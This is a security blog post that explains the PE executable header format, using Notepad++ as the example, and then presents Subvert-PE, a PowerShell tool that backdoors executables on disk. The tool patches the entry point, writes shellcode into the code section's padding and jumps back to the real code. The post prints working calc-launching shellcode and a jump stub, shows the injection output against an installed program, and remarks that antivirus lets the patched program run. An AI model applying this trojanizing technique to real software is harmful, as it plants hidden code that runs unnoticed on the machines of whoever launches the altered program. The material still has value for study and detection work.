Hello and welcome! Today we will look at programmatically injecting shellcode into PE executables on disk. Please take note that we are only talking about exe's, the PE file format includes many other extensions (dll, ocx, sys, cpl, fon,..). Doing this manually is moderately straightforward. The key point is to make sure the PE functionality is unchanged so as not to raise suspicion. Unfortunately manual injection is not always practical. You need to copy the PE out, modify it on your host and then replace it on the target machine. To simplify this process I created Subvert-PE which can dynamically rewrite a PE executable (x86 & x64): Patch the Entry Point offset, inject shellcode and hand execution flow back over to the legitimate code.
I don't like to put a tool in the hands of people without them having the opportunity to understand how it works. As such a large part of this post will focus on examining the relevant sections of the PE format. Once the PE structure is understood, modifying it with Powershell becomes an exercise in calculating array offsets.
This post may contain information/extracts/images from the official Microsoft documentation listed below. This information is presented under the DMCA fair use policy. If anyone has an issue with this please send me an email.
Links:
Microsoft Official PE-COFF Documentation (MSDN) - here
Portable Executable (Corkami) - here
Tool:
Subvert-PE.ps1 - here
The PE Header
I always think a concrete example is the best way to learn about new subject matter. To ground the theory in practise we will be stepping through the 32-bit Notepad++ PE header. PE headers generally include the following components: MS-DOS Header, Rich Signature, PE Header, Optional Header and Section Table.
I will not highlight every significant WORD/DWORD/QWORD for each section as this is meant to be more of a cursory overview.
MS-DOS Header:
In this example, specifically, the DOS header stretches from the base of the image (0x00) up to 0x7F (127 bytes).
0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0000h: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.........ÿÿ..
0010h: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ¸.......@.......
0020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030h: 00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00 ............ð...
0040h: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..º..´.Í!¸.LÍ!Th
0050h: 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060h: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070h: 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
e_magic | 0x4D5A (MZ) | Used to identify MS-DOS compatibility.
-------------------------------------------------------------------------------------------------
e_cp | 0x0003 | File size in pages.
-------------------------------------------------------------------------------------------------
e_lfarlc | 0x0040 | Address of relocation table.
-------------------------------------------------------------------------------------------------
e_lfanew | 0x000000F0 (240) | Offset to PE header.
-------------------------------------------------------------------------------------------------
MS-DOS Stub | * | Legacy DOS stub (Windows 3.1 compatibility check).
The main thing to remember here is that, at an offset of 0x3c (60-bytes), there is a DWORD which provides the offset to the actual PE header. The PE header offset is not static and will change from binary to binary. Also, for those interested, the static "MZ" identifier corresponds to the initials of Mark Zbikowski, one of developers of MS-DOS.
Rich Signature:
The "Rich Signature" is mentioned here mostly as a curiosity. Though the PE format has a long history (Windows 3.1 - 1993), this section has gone undocumented by Microsoft. To make a long story short, it stores data about the compilation of the PE. For an in-depth overview you can read Daniel Pistelli analysis on NTCore.
0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0080h: 37 BA 5C 86 73 DB 32 D5 73 DB 32 D5 73 DB 32 D5 7º\†sÛ2ÕsÛ2ÕsÛ2Õ
0090h: E4 1F 4C D5 77 DB 32 D5 54 1D 4F D5 6A DB 32 D5 ä.LÕwÛ2ÕT.OÕjÛ2Õ
00A0h: 54 1D 5F D5 CF DB 32 D5 B0 D4 6F D5 60 DB 32 D5 T._ÕÏÛ2Õ°ÔoÕ`Û2Õ
00B0h: 73 DB 33 D5 E8 DA 32 D5 54 1D 5C D5 D7 DB 32 D5 sÛ3ÕèÚ2ÕT.\Õ×Û2Õ
00C0h: 54 1D 4E D5 72 DB 32 D5 73 DB 32 D5 67 DB 32 D5 T.NÕrÛ2ÕsÛ2ÕgÛ2Õ
00D0h: 54 1D 4A D5 72 DB 32 D5 52 69 63 68 73 DB 32 D5 T.JÕrÛ2ÕRichsÛ2Õ
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
MSLinkerRich | * | Section named for ASCII sequence "Rich".
PE Header:
The PE header consists of an ASCII signature followed by a standard COFF file header. It should be noted that there is null-byte padding between the Rich Signature and the PE header. For Notepad++ specifically this padding has a size of 0x0F (15-bytes), but it does vary from PE to PE.
0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
00E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ # 0x0F null-byte padding
00F0h: 50 45 00 00 4C 01 04 00 7F A4 74 50 00 00 00 00 PE..L..¤tP....
0100h: 00 00 00 00 E0 00 02 01 ....à...
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
PE Signature | 0x504500 (PE\0\0) | ASCII PE format signature.
-------------------------------------------------------------------------------------------------
Machine Type | 0x014C (i386+) | Identifies the target machine architecture.
-------------------------------------------------------------------------------------------------
Number Of | 0x0004 | Number of sections in the PE. Section table follows the
Sections | | "Optional Header".
-------------------------------------------------------------------------------------------------
TimeDateStamp | 0x5074A47F | Time-stamp indicating when the file was created.
| 10/09/12 22:26:07 | (Seconds since 00:00 January 1, 1970)
-------------------------------------------------------------------------------------------------
Optional | 0x00E0 (224) | Size of the Optional Header.
Header Size | |
-------------------------------------------------------------------------------------------------
Characteristics | 0x0102 (32-bit) | Flag contains attributes of the object or image.
To provide a more complete picture you can find all the possible values of the "Machine Type" and "Characteristics" fields below. These have been taken from the official Microsoft documentation.
Optional Header:
The Optional Header provides information to the loader. This section is only optional in the sense that it is not present in object files, generally it is mandatory. The size of this header varies and is denoted by the "Optional Header Size" in the PE header above.
0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0100h: 0B 01 08 00 00 A0 0D 00 ..... ..
0110h: 00 40 0B 00 00 00 00 00 59 71 0B 00 00 10 00 00 .@......Yq......
0120h: 00 B0 0D 00 00 00 40 00 00 10 00 00 00 10 00 00 .°....@.........
0130h: 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 ................
0140h: 00 20 1A 00 00 10 00 00 00 00 00 00 02 00 00 00 . ..............
0150h: 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................
0160h: 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................
0170h: C4 0A 10 00 C8 00 00 00 00 30 12 00 6C EA 07 00 Ä...È....0..lê..
0180h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0190h: 00 00 00 00 00 00 00 00 10 B7 0D 00 1C 00 00 00 .........·......
01A0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01B0h: 00 00 00 00 00 00 00 00 80 0C 0F 00 40 00 00 00 ........€...@...
01C0h: 00 00 00 00 00 00 00 00 00 B0 0D 00 7C 06 00 00 .........°..|...
01D0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01E0h: 00 00 00 00 00 00 00 00 ........
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
Magic Number | 0x010B (PE32) | 0x010B (PE32) Or 0x020B (PE32+).
-------------------------------------------------------------------------------------------------
Code | 0x000DA000 (892928)| Sum of the size of code sections.
-------------------------------------------------------------------------------------------------
Initialised | 0x000B4000 (737280)| Sum of the size of initialised data sections.
-------------------------------------------------------------------------------------------------
Entry Point | 0x000B7159 | Offset to Entry Point.
-------------------------------------------------------------------------------------------------
Base Of Code | 0x00001000 | Start of the code section relative to the image base.
-------------------------------------------------------------------------------------------------
Base Of Data | 0x000DB000 | Start of the data section relative to the image base.
-------------------------------------------------------------------------------------------------
Image Base | 0x00400000 | Preferred image base.
-------------------------------------------------------------------------------------------------
Image Size | 0x001A2000 | Size of the image in memory including headers.
-------------------------------------------------------------------------------------------------
Header Size | 0x00001000 | Combined size of headers (rounded up to FileAlignment).
-------------------------------------------------------------------------------------------------
Subsystem Type | 0x0002 (Win GUI) | Subsystem required for PE.
As you can see, many sections have not been highlighted. For a more complete overview of the Optional header please refer to the official Microsoft documentation and the Corkami analysis here. The image below shows all possible values of the "Subsystem Type" field.
Section Table:
The Section table immediately follows the Optional header. This order is required as the image does not contain a pointer to the section table, instead the offset is calculated based on the combined size of the PE headers. Each defined section has a size of 0x28 (40 bytes), the number of sections can be retrieved from the PE header.
0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
01E0h: 2E 74 65 78 74 00 00 00 .text...
01F0h: B6 96 0D 00 00 10 00 00 00 A0 0D 00 00 10 00 00 ¶–....... ......
0200h: 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 20 ............ ..`
TYPE | Value | Significance
-------------------------------------------------------------------------------------------------
Section Name | .text | 8 byte, null padded UTF8 string.
-------------------------------------------------------------------------------------------------
Virtual Size | 0x000D96B6 (890550)| Total size of the section when loaded into memory.
-------------------------------------------------------------------------------------------------
Virtual Address | 0x00001000 | Offset to the section when loaded into memory (relative to
| | the image base).
-------------------------------------------------------------------------------------------------
Raw Data Size | 0x000DA000 (892928)| Size of the section on disk.
-------------------------------------------------------------------------------------------------
Raw Data Pointer| 0x00001000 | File pointer to the first page of the section within the
| | COFF file (rounded up to FileAlignment).
-------------------------------------------------------------------------------------------------
Section Flags | 0x20000020 | Characteristics of the section.
| (Read & Execute) |
The images below show all possible section flag values. Generally however only a select few will appear regularly (Readable/Executable, Initialized Data, Disgardable).
The table above only shows the first section of the Notepad++ PE. The other sections (we know there are 4 in total), directly follow the ".text" section.
0 1 2 3 4 5 6 7 8 9 A B C D E F
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
0210h: 2E 72 64 61 74 61 00 00 B8 7D 02 00 00 B0 0D 00 .rdata..¸}...°..
0220h: 00 80 02 00 00 B0 0D 00 00 00 00 00 00 00 00 00 .€...°..........
0230h: 00 00 00 00 40 00 00 40 ....@..@
0230h: 2E 64 61 74 61 00 00 00 .data...
0240h: 68 FF 01 00 00 30 10 00 00 D0 00 00 00 30 10 00 hÿ...0...Ð...0..
0250h: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ............@..À
0260h: 2E 72 73 72 63 00 00 00 6C EA 07 00 00 30 12 00 .rsrc...lê...0..
0270h: 00 F0 07 00 00 00 11 00 00 00 00 00 00 00 00 00 .ð..............
0280h: 00 00 00 00 40 00 00 40 ....@..@
Manipulate Binary Files With Powershell
Now we have a rudimentary understanding of the PE header format we can start looking at reading bytes from and writing bytes to binary files.
Manipulating An Array:
The first thing we should look at it how to convert between hex bytes to integers and vice-versa.
# Hex --> Int
PS C:\Users\b33f> 0xA
10
# Int --> Hex
PS C:\Users\b33f> '{0:X}' -f 256
FF
# Mixed values
PS C:\Users\b33f> 0xAA + 187
357
PS C:\Users\b33f> '{0:X}' -f (0xCC-8)
C4
PS C:\Users\b33f> '{0:X}' -f (((81*0x51*8)-((0x359*0x10)/2))+((0x1*15)+0xf0))
B33F # Because Math ;))
Very amusing, but the main objective remains editing files on disk. I created a simple 4 byte file to illustrate how this can be achieved.
PS C:\Users\b33f> type .\test.bin
ª»ÌÝ
# Read the file into a byte array
PS C:\Users\b33f> $read = [System.IO.File]::ReadAllBytes('C:\Users\b33f\test.bin')
PS C:\Users\b33f> $read
170
187
204
221
# We can query individual array elements
PS C:\Users\b33f> $read[0,3]
170
221
PS C:\Users\b33f> '0x{0}' -f ((($read[0..3]) | % {$_.ToString('X2')}) -join '')
0xAABBCCDD
PS C:\Users\b33f> [UInt32]('0x{0}' -f ((($read[0..3]) | % {$_.ToString('X2')}) -join ''))
2864434397
# We can assign new values to array elements
PS C:\Users\b33f> $read[2] = 255
PS C:\Users\b33f> $read[3] = 0xff
PS C:\Users\b33f> '0x{0}' -f ((($read[0..3]) | % {$_.ToString('X2')}) -join '')
0xAABBFFFF
# Finally we can overwrite the file with our modified byte array
PS C:\Users\b33f> [System.IO.File]::WriteAllBytes('C:\Users\b33f\test.bin', $read)
Editing PE Images:
Time to put all this theory into practise. To come to grips with editing PE's we we will set ourselves a simple goal, to find the module entry point offset and overwrite it with 0xAABBCCDD.
# Read entire PE array into memory
$bytes = [System.IO.File]::ReadAllBytes('C:\Users\b33f\Desktop\notepad++.exe')
# PE Header offset at 0x3c (60-byes), little endian!
$PEOffset = [Int32] ('0x{0}' -f (($bytes[63..60] | % {$_.ToString('X2')}) -join ''))
echo "PE Header Offset: $PEOffset"
# Optional Header = PE Header + 0x18 (24-bytes)
$OptOffset = $PEOffset + 24
echo "Optional Header Offset: $OptOffset"
# Module Entry Point = Optional Header + 0x14 (20-bytes)
$EntryPoint = '0x{0}' -f ((($bytes[($OptOffset+19)..($OptOffset+16)]) | % {$_.ToString('X2')}) -join '')
echo "Original Entry Point Offset: $EntryPoint"
$bytes[$OptOffset+19] = 0xAA
$bytes[$OptOffset+18] = 0xBB
$bytes[$OptOffset+17] = 0xCC
$bytes[$OptOffset+16] = 0xDD
# Fetch New Entry Point
$EntryPoint = '0x{0}' -f ((($bytes[($OptOffset+19)..($OptOffset+16)]) | % {$_.ToString('X2')}) -join '')
echo "New Entry Point Offset: $EntryPoint"
# Overwrite the PE with the modified array
[System.IO.File]::WriteAllBytes('C:\Users\b33f\Desktop\notepad++.exe', $bytes)
Running this script in the terminal yields the following results.
PS C:\Users\b33f> .\Write-Pointer.ps1
PE Header Offset: 240
Optional Header Offset: 264
Original Entry Point Offset: 0x000B7159
New Entry Point Offset: 0xAABBCCDD
Let's see what happens when we load the PE in Immunity.
You will notice that the entry point is not 0xAABBCCDD but 0xAAFBCCDD. This is expected as the entry point offset is added to the image base (0x00400000) when the PE is loaded into memory. From our perspective this is not important as any dynamic calculations we make will be automatically added to the image base. This value can be static or dynamic in case of rebase/ASLR.
Subvert-PE
Time to get to the good part I suppose! If we wanted to backdoor a PE we would generally perform the following steps: (1) calculate the offset to the null-byte padding for the first executable section, (2) replace the module entry point with an offset to that location, (3) write our shellcode at that offset (4) append a stub to the shellcode which jumps back to the legitimate entry point. The following representation illustrates the execution flow.
__________________________________________
| |
| PE Header |
| |
| |
| Entry Point Offset | ---->----
| | |
|__________________________________________| |
| | |
| .......... | |
|__________________________________________| |
| | |
| First Executable Section | |
| (Probably .text) | |
| | |
| Legitimate Entry Point |<---------|----
| | | |
| | | |
| | | |
|----[Section End - null-byte Padding]-----| | |
| | | |
| Shellcode | | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| ---<---- |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | |
| Far Jump back to | ------->-----
| Legitimate Entry Point |
|__________________________________________|
As mentioned in the intoduction, performing these steps is no more complicated than calculating offsets in an array. To this end I created Subvert-PE which dynamically backdoors PE Images with support for x86 and x64. The Subvert-PE function contains shellcode, written by SkyLined, which launches calc. More details about the shellcode can be found here.
Lets take a look at a practical example.
PS C:\Users\b33f> . .\ToolKit\Subvert-PE.ps1
PS C:\Users\b33f> Get-Help Subvert-PE -Full
NAME
Subvert-PE
SYNOPSIS
Inject shellcode into a PE image while retaining the PE functionality.
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
SYNTAX
Subvert-PE -Path <String> [-Write] [<CommonParameters>]
DESCRIPTION
Parse a PE image, inject shellcode at the end of the code section and dynamically patch the entry
point. After the shellcode executes, program execution is handed back over to the legitimate PE entry
point.
PARAMETERS
-Path <String>
Path to portable executable.
Required? true
Position? named
Default value
Accept pipeline input? false
Accept wildcard characters?
-Write [<SwitchParameter>]
Inject shellcode and overwrite the PE. If omitted simply display "Entry Point", "Preferred Image
Base" and dump the memory at the null-byte location.
Required? false
Position? named
Default value
Accept pipeline input? false
Accept wildcard characters?
<CommonParameters>
This cmdlet supports the common parameters: Verbose, Debug,
ErrorAction, ErrorVariable, WarningAction, WarningVariable,
OutBuffer and OutVariable. For more information, type,
"get-help about_commonparameters".
INPUTS
OUTPUTS
-------------------------- EXAMPLE 1 --------------------------
C:\PS>Subvert-PE -Path C:\Path\To\PE.exe
-------------------------- EXAMPLE 2 --------------------------
C:\PS>Subvert-PE -Path C:\Path\To\PE.exe -Write
RELATED LINKS
http://www.fuzzysecurity.com/
PS C:\Users\b33f> Subvert-PE -Path 'C:\Program Files\Notepad++\notepad++.exe' -Write
Legitimate Entry Point Offset: 0x000B7159
Preferred PE Image Base: 0x00400000
Null-Byte Padding dump:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Modified Entry Point Offset: 0x000DA6B6
Inject Far JMP: 0xe9fffdca54
Null-Byte Padding After:
31 D2 52 68 63 61 6C 63 89 E6 52 56 64 8B 72 30 8B 76 0C 8B 76
AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 4C
24 01 F9 42 AD 81 3C 07 57 69 6E 45 75 F5 0F B7 54 51 FE 8B 74
1C 01 FE 03 3C 96 FF D7 E9 54 CA FD FF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
From the screenshot below we can see that Notepad++ launches normally, only now, it also launches calc!
The screenshots below show some sample injections on Windows 7 Professional 32-bit & Windows 8 Enterprise 64-bit.
Notes:
(1) The success rate for the script is about 90% on 32-bit PE executables; unfortunately this drops down to about 50% on 64-bit. This is because the null-byte padding is much smaller for x64 PE's. As a rule of thumb you should execute the script without the "-Write" flag, if you see there appears to be enough space for your shellcode then the odds are good that it will work.
(2) Obviously the shellcode can be exchanged with something more useful, however for brevity and to limit abuse this is not covered here. There are a few things you need to keep in mind: the shellcode can not have an exit function as we need to preserve execution flow, the shellcode can not unpack itself when it executes as the PE code section is not writeable and in a minority of test-cases the PE required the initial registry values to function properly so the shellcode will need restore these after execution.
(3) Injecting into signed binaries will invalidate the signature but that is probably only a concern when dealing with forensics. Furthermore, as we are hiding shellcode in bespoke executables, the AV has no idea what is going on and will happily let the program run. I did find that Comodo notices that changes have been made to the PE. As a result it isolates the executable but still allows the shellcode to execute. I suspect it detects that the entry point has been tampered with.
(4) Don't be a jackass, this tool was created for authorized use only!